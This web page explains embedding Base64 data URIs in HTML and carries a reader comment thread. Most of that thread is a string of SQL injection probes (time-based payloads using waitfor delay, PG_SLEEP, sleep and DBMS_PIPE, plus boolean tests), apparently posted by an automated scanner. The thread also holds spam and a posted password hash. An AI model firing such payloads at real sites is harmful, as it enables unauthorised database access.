A virtual teacher who reveals to you the great secrets of Base64

HTML Base64

Comments: 25 | Rating: 4.4/5

HTML is a standardized markup language for creating web documents which are usually interpreted by web browsers. As you probably already know, on a HTML page the web developer can embed and show external web resources, such as images, sound, or video files. Typically, for each web resource, the browser must make at least one HTTP request to load it. However, the web developer can directly “inject” the same web resources into the HTML page by encoding them to Base64 and embedding them with Data URI. This will avoid additional HTTP requests, which sometimes may significantly improve page speed. In addition, it can solve some “exclusive” tasks.

Below are listed the most popular HTML tags that support the Base64 Data URIs. Click on the desired HTML tag to get more information and see embedding examples.

Comments (25)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Fried,
    Hi,
    I am trying this :
    <HTML style="margin:3em;background:rgb(2, 2, 51);color:rgb(87, 87, 201);font-family:Roboto;">
    <H1> It's an on the fly : Hellöchen ! </H1>
    </HTML>

    but in HTML base64 I am getting:
    It's an on the fly : Hellöchen ! 

    This is a `Umlaute` problem.

    Thnaks, Fried.
    reply
    • Administrator, ↑
      Hello Fried! Your issue is not related to Base64, but you can fix it by specifying the charset. Something like:
      <meta charset="utf-8">
      reply
  • Leandro,
    Como faço para gmail ler o seguinte html

    <p>Form<br>
    <br>
    Chart:<br>
    <p><br>
    <img src="data:image/png;base64,@{outputs('Executar_Script_Gráfico')?['body/result']}">
    </p>
    reply
  • Durwsrdbruton,
    Why is Google Play store on an Apple product that I don’t use Google play store services or apps or anything else that comes from the play store
    reply
  • Imran,

    $2y$08$PpUxBDRKNucdAhqcOCX.xeUuWZF2Hh3OOUA.wG/sETK2JWISSdWnO
    reply
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    f0qGcUTq'; waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    -5 OR 803=(SELECT 803 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    GxX3EPGX')) OR 345=(SELECT 345 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    reply
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    reply
  • gBqsPxAZ,
    -1 OR 2+919-919-1=0+0+0+1
    reply
  • gBqsPxAZ,
    -1 OR 2+229-229-1=0+0+0+1 --
    reply
  • nqhXncMU,
    -5) OR 515=(SELECT 515 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
    reply
  • ncMUFCMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    reply
  • ncMUFCMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    reply
  • ncMUFCMU,
    Djeohy7Q')) OR 347=(SELECT 347 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
    reply
  • nqhXncMU,
    -1 OR 2+455-455-1=0+0+0+1
    reply
  • Chance,
    10 Mistaken Answers To Common Porn Star Questions Do You Know The Right Answers?

    british porn stars on adultwork
    reply
    • ncMUFCMU, ↑
      what does this mean
      reply
      • Hey, ↑
        what do you keep trying to achieve by sql injecting via comments?
        reply
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.

Recent blog posts